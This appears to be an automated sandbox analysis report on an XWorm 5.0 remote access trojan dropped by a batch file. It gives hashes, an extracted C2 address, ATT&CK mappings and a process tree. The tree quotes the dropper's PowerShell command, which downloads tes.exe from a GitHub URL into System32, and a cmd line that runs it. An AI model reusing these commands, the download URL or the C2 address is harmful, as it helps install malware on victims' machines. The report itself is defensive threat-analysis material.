xworm | fb4ce395283d4dcc0632cddf7ab374aff3e3a03e2871364ea419ddc8deecaad4

General

Target

echooff.bat
Size

809B
MD5

da0c105256eccbca5772fb173b5a313f
SHA1

db0583cd2282aec4f414763cf22d677ec7073f76
SHA256

fb4ce395283d4dcc0632cddf7ab374aff3e3a03e2871364ea419ddc8deecaad4
SHA512

ea2b97998c20ed28f874b83bd15fccfd82dc34a6655988d121c833e5c0352cb4d23c4be1312c0a6863d3629a7d8957de2560fc9be42dfe22c375f937ccee894d

Score

10^/10

xworm defense_evasion execution privilege_escalation rat trojan

Malware Config

Extracted

Family

xworm

Version

5.0

C2

137.184.74.73:5000

Mutex

fEkivyZANGvej5MK

Attributes

install_file
USB.exe

aes.plain

Signatures

Detect Xworm Payload 2 IoCs

resource	yara_rule
behavioral2/files/0x000300000001e5ba-18.dat	family_xworm
behavioral2/memory/4452-20-0x0000000000CE0000-0x0000000000CEE000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Blocklisted process makes network request 2 IoCs

flow	pid	Process
8	720	powershell.exe
13	720	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
720	powershell.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
13	720	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
4452	tes.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
12	raw.githubusercontent.com
13	raw.githubusercontent.com

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\tes.exe	powershell.exe

Access Token Manipulation: Create Process with Token 1 TTPs 1 IoCs

defense_evasion privilege_escalation

Create Process with Token

T1134.002

pid	Process
4348	cmd.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
720	powershell.exe
720	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	720	powershell.exe
Token: SeDebugPrivilege	4452	tes.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 3552 wrote to memory of 3964	3552	cmd.exe	86
PID 3552 wrote to memory of 3964	3552	cmd.exe	86
PID 3964 wrote to memory of 3400	3964	cmd.exe	87
PID 3964 wrote to memory of 3400	3964	cmd.exe	87
PID 3964 wrote to memory of 3052	3964	cmd.exe	88
PID 3964 wrote to memory of 3052	3964	cmd.exe	88
PID 3552 wrote to memory of 720	3552	cmd.exe	89
PID 3552 wrote to memory of 720	3552	cmd.exe	89
PID 3552 wrote to memory of 4348	3552	cmd.exe	92
PID 3552 wrote to memory of 4348	3552	cmd.exe	92
PID 4348 wrote to memory of 4452	4348	cmd.exe	93
PID 4348 wrote to memory of 4452	4348	cmd.exe	93

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\echooff.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3552
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c certutil -hashfile "C:\Users\Admin\Pictures\My Wallpaper.jpg" MD5 | find /i "MD5 hash"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3964
- - C:\Windows\system32\certutil.exe
    certutil -hashfile "C:\Users\Admin\Pictures\My Wallpaper.jpg" MD5
    3⤵
    PID:3400
- - C:\Windows\system32\find.exe
    find /i "MD5 hash"
    3⤵
    PID:3052
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Invoke-WebRequest -Uri 'https://github.com/ek4o/injector/raw/main/tes.exe' -OutFile 'C:\Windows\System32\tes.exe'"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Downloads MZ/PE file
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:720
- C:\Windows\system32\cmd.exe
  cmd /min /C "set __COMPAT_LAYER=runasinvoker && start "" "C:\Windows\System32\tes.exe"
  2⤵
  - Access Token Manipulation: Create Process with Token
  - Suspicious use of WriteProcessMemory
  PID:4348
- - C:\Windows\System32\tes.exe
    "C:\Windows\System32\tes.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:4452

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Access Token Manipulation

1

T1134

Create Process with Token

1

T1134.002

Defense Evasion

Access Token Manipulation

1

T1134

Create Process with Token

1

T1134.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qb4a5vcj.q3t.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\System32\tes.exe

Filesize
32KB

MD5
4fc044304cc6300f4c616587d81b0244

SHA1
2497c2a35feba85a5e7500e86f24d78b959b31b0

SHA256
882693e145705dcc3ecc52d5fd5187cdf3ae6da1c67af12e229746b0d64e9454

SHA512
d5298d83decffcca0f188b8c1a186ecbc85a8427da7feb618b403d24bb7ad05727068ed841f83bc3f1cda1cf8a56ed4fa3733e6c4731623c2e6e36675d4aa40e

Download Submit
memory/720-0-0x00007FFEA0013000-0x00007FFEA0015000-memory.dmp

Filesize
8KB

Download
memory/720-1-0x0000027CB8EE0000-0x0000027CB8F02000-memory.dmp

Filesize
136KB

Download
memory/720-11-0x00007FFEA0010000-0x00007FFEA0AD1000-memory.dmp

Filesize
10.8MB

Download
memory/720-12-0x00007FFEA0010000-0x00007FFEA0AD1000-memory.dmp

Filesize
10.8MB

Download
memory/720-16-0x00007FFEA0010000-0x00007FFEA0AD1000-memory.dmp

Filesize
10.8MB

Download
memory/4452-20-0x0000000000CE0000-0x0000000000CEE000-memory.dmp

Filesize
56KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads